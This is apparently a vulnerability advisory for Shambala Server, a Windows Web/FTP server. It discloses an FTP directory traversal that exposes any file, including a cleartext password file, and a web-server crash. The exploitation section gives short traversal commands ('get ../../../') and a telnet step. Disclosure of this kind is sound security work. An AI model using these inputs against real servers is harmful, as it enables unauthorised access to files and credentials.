_I N F O_ 

Shambala Server is a personal Web/FTP server for Win 9*/NT. 
When the web server is started it also starts the integrated 
FTP server. There are are two previous issues that has been 
disclosed on bugtraq by zillion in 2000 but he seem to have 
missed these things. 

Both of them: http://online.securityfocus.com/archive/1/138501 

Vendor is at: http://www.evolvable.com , and yes, they were notified, 
see bottom. 

_P R O B L E M_ 

The integrated FTP server is vulnerable to a directory traversal 
attack, that enables attackers to view the entire directory 
structure and also download any file in it. There are also a 
DoS condition present in the web server. 

_I M P A C T_ 

An authenticated user may view any directory and/or download 
any file on the system. An authenticated user may use this 
to download the !_cleartext_! password file that lies one .. 
below the web root. 

I have also found a DoS condition in the Web server that 
generates "Run-time error'5': Invalid procedure call or argument" 
and crashes the server. 

According to www.download.com, the program has been downloaded 
57,957 times and 40 times last week. So it seems like this program 
is still at use. 

_E X P L O I T I N G_ 

Directory traversal / get any file 
---------------------------------- 
ftp> ls ../../../ - and so on... 
ftp> get ../../../ - and so on... 

DoS condition in the Web server 
------------------------------- 
you# telnet 192.168.0.11 80 
Trying 192.168.0.11...

Connection closed by foreign host.

_F I X E S_ 

Spent almost 20 minutes digging in the evolvable.com website for 
an e-mail adress to contact them by, but none found. So I ended 
up taking the e-mail adress from another (2 year old) advisory. 
Still no reply. So the fix for now is: Uninstall Shambala.
